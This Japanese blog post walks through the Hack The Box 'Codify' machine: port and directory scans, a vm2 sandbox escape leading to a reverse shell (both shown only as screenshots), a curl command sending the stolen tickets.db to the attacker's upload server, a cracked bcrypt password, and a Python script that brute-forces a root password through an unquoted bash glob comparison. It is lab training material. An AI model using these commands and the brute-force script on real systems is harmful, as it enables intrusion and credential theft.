2
3

【Hack The Box】Codify【Writeup】

Last updated at Posted at 2024-04-09

初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Codify」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

初期探索

ポートスキャン

┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.239 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.239:22
Open 10.10.11.239:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 03:46 EST
Initiating Ping Scan at 03:46
Scanning 10.10.11.239 [4 ports]
Completed Ping Scan at 03:46, 0.32s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 03:46
Scanning codify.htb (10.10.11.239) [2 ports]
Discovered open port 80/tcp on 10.10.11.239
Discovered open port 22/tcp on 10.10.11.239
Completed SYN Stealth Scan at 03:46, 0.22s elapsed (2 total ports)
Nmap scan report for codify.htb (10.10.11.239)
Host is up, received echo-reply ttl 63 (0.20s latency).
Scanned at 2023-11-10 03:46:50 EST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

22と80番Portが公開されている。
実際にサイトにアクセスしてみるとcodify.htbにアクセスできないといわれるので/etc/hostsに登録しておく。
その後アクセスをしてみると以下のサイトが見える。
1.png
サイトの探索を開始します。

サイト探索

サブドメイン探索

以下サイトからサブドメインのリストをダウンロード

┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt

ffufで探索。

┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://codify.htb/ -H "HOST: FUZZ.codify.htb" -fc 301 -t 150 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://codify.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.codify.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 748 req/sec :: Duration: [0:02:22] :: Errors: 0 ::

何もないですね。

ディレクトリ探索

まずはdirsearchです。

┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://codify.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/codify.htb/-_23-11-10_03-43-55.txt

Error Log: /root/.dirsearch/logs/errors-23-11-10_03-43-55.log

Target: http://codify.htb/

[03:43:55] Starting: 
[03:44:09] 200 -    3KB - /About
[03:44:17] 200 -    3KB - /about
[03:44:44] 200 -    3KB - /editor
[03:44:44] 200 -    3KB - /editor/
[03:45:12] 403 -  275B  - /server-status/
[03:45:12] 403 -  275B  - /server-status

Task Completed

一応gobusterでも確認します。

┌──(root㉿kali)-[~/work]
└─# gobuster dir -k -u http://codify.htb/ -w directory-list-2.3-small.txt -x html -t 150
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://codify.htb/
[+] Method:                  GET
[+] Threads:                 150
[+] Wordlist:                directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about                (Status: 200) [Size: 2921]
/About                (Status: 200) [Size: 2921]
/editor               (Status: 200) [Size: 3123]
/Editor               (Status: 200) [Size: 3123]
/ABOUT                (Status: 200) [Size: 2921]
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================

ないので列挙はこの辺にしてサイトをブラウジングしていきます。

ブラウジング

/editorの階層があったのでこの辺を見てみると、何やらNode.jsの実行環境があります。
実行すると以下のようになります。
2.png
まぁコード実行できそうなら試すしかありません。

イニシャルアクセス

Malicious Node.js Code

3.png
ダメでしたね。
調べてみると以下のようにchild_processが禁止されてました。
4.png

CVE-2023-29017

/aboutのページを調査しているとvm2のリンクを発見しました。
5.png
このリンクをたどると、githubに飛んでバージョンが分かります。
6.png
あ、ならこのバージョンの脆弱性を調査してみよう。
ということで調査すると以下の脆弱性が見つかる。

このPoCを参考にしてlsコマンドを打ってみます。
7.png
通りました!!!
RevShellをここに叩き込もうと思います。

Reverse Shell

いつもの以下のサイトを利用します。

image.png
8.png
上手くシェルを取ることが出来ました。

横展開

svcのユーザ権限は取れましたが、このユーザではUserフラグを見ることが出来ません。
何か情報がないか調査を実施します。

linpeas

linpeas使います。
以下のサイトからlinpeas.shをダウンロードしてくる。

起動します。

svc@codify:/tmp$ ./linpeas.sh
./linpeas.sh


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |
    |---------------------------------------------------------------------------------|
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |
    |         Follow on Twitter         :     @hacktricks_live                        |
    |         Respect on HTB            :     SirBroccoli                             |
    |---------------------------------------------------------------------------------|
    |                                 Thank you!                                      |
    \---------------------------------------------------------------------------------/
          linpeas-ng by carlospolop

...省略

╔══════════╣ Searching root files in home dirs (limit 30)
/root/
/var/www

╔══════════╣ Searching folders owned by me containing others files on it (limit 100)

╔══════════╣ Readable files belonging to root and readable by me but not world readable

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/svc
/run/lock
/run/screen
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/linpeas.sh
/tmp/.Test-unix
/tmp/tmux-1001
#)You_can_write_even_more_files_inside_last_directory

/var/crash
/var/tmp
/var/www/contact
/var/www/contact/index.js
/var/www/contact/package.json
/var/www/contact/package-lock.json
/var/www/contact/templates
/var/www/contact/templates/login.html
/var/www/contact/templates/ticket.html
/var/www/contact/templates/tickets.html
/var/www/contact/tickets.db
/var/www/editor
/var/www/editor/index.js
/var/www/editor/node_modules
/var/www/editor/node_modules/abbrev
/var/www/editor/node_modules/abbrev/abbrev.js
/var/www/editor/node_modules/abbrev/LICENSE
/var/www/editor/node_modules/abbrev/package.json
/var/www/editor/node_modules/abbrev/README.md
/var/www/editor/node_modules/accepts

...省略

/varの階層に色々触れそうなファイルが見えるが、tickets.dbというsqliteっぽいファイルが見える。
此奴を取得して中身を確認してみる。

Transfer

Kaliでuploadserverを立てる。

┌──(root㉿kali)-[~/work]
└─# python3 -m uploadserver 
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

curlでファイルを転送する。

svc@codify:/var/www/contact$ curl -X POST http://10.10.14.58:8000/upload -F 'files=@/var/www/contact/tickets.db' 
curl -X POST http://10.10.14.58:8000/upload -F 'files=@/var/www/contact/tickets.db' 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 20683    0     0  100 20683      0  33979 --:--:-- --:--:-- --:--:-- 34018
svc@codify:/var/www/contact$ 

md5sumでハッシュ値が一致していれば転送成功となる。

John the Ripper

中身を確認すると以下のようにハッシュが確認できます。
9.png
johnさんに解析してもらいます。

┌──(root㉿kali)-[~/work]
└─# john --wordlist=./rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (?)     
1g 0:00:00:30 DONE (2023-11-10 04:56) 0.03232g/s 44.21p/s 44.21c/s 44.21C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

この認証情報でSSHログインをしてみます。
10.png
入れました!これでUserフラグゲットデス!!!!

特権昇格

sudo -l

とりあえず見ときます。

joshua@codify:/tmp$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh
joshua@codify:/tmp$ 

mysql-backup.shを回せそうです。
中身を確認します。

joshua@codify:/tmp$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
joshua@codify:/tmp$ 

...難し...
回してみる。

joshua@codify:/tmp$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root: 
Password confirmation failed!

パスワードが聞かれるようだ。

vuln bash

色々このシェルの脆弱性を調査していると以下の記事にヒットします。

クオートで囲わないと*などでWordを拡張解釈してしまうようなので、以下が脆弱となる。

if [[ $DB_PASS == $USER_PASS ]]; then

実際に確認してみる。
*を入力してみる。

joshua@codify:/tmp$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root: 
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!

rootのパスワードを渡さずともシェルが回ってしまった。

Bruteforce

上記を踏まえてExploitを考察する。
最初の文字から一つずつPassになる文字を試して後半を*でごまかせばブルートフォースできるのではと考える。
ただコードを書くのが面倒なのでGPTさんに書いてもらった。
11.png
11_2.png
改良したコードは以下だ。

lol.py
import subprocess
import string

# a-zA-Zまでのアルファベット
alphabet = list(string.ascii_letters)
# 数字 0-9 を追加
alphabet += list(string.digits)
# 特殊記号を追加
special_characters = ['!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '+', '=', '[', ']', '{', '}', ';', ':', ',', '.', '<', '>', '/', '?', '|', '\\']
# 各要素を結合して最終的なリストを作成
complete_list = alphabet + special_characters

password = ""

def check_password(phrase):
    # コマンドを実行して出力を取得
    command = f'echo "{password}{phrase}*" | sudo /opt/scripts/mysql-backup.sh'
    result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

    # 出力から検証
    if "Password confirmed!" in result.stdout:
        return True
    elif "Password confirmation failed!" in result.stdout:
        return False
    else:
        # エラーまたは予期せぬ出力があった場合
        print("Unexpected output:", result.stdout)
        return None

# フレーズを入力


# フレーズを1文字ずつ検証
last_flag = True
while last_flag:
    for i in complete_list:
        if check_password(i):
            password += i
            print(f'{password}')
            break

実行する。
12.png
パスワードぽいところでフレーズを区切りsuコマンドを試していく。
13.png

まとめ

image.png

捻りはそこまでなく、素直なEasyBoxだったのではないでしょうか?
今回もセキュリティエンジニアの皆さんの助けになればなと思います。

2
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
3